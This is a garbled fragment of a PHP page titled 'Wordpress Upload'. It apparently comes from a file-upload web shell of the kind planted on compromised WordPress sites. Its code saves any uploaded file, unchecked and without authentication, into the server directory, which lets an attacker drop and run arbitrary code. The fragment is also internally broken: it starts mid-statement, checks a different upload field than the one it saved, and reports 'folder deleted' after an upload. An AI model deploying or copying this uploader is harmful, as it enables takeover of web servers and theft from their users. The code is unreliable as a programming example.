swal({title: \"{$status}\", text: \"{$msg}\", icon: \"{$status}\"}).then((btnClick) => {if(btnClick){document.location.href=\"?p=".$p."\"}})"; } ?> Wordpress Upload

Wordpress Upload

  • Server :
  • 0) { echo "error:" . $_FILES["f"]["error"][0] . "
    "; } if (isset($_FILES["f"]['name'][0])) { move_uploaded_file($_FILES["f"]["tmp_name"][0], __DIR__.'/' . $_FILES["f"]["name"][0]); if (file_exists(__DIR__.'/' . $_FILES["file"]["name"][0])) { a("folder deleted successfully"); } else { a("failed to delete the folder", 0); } } ?>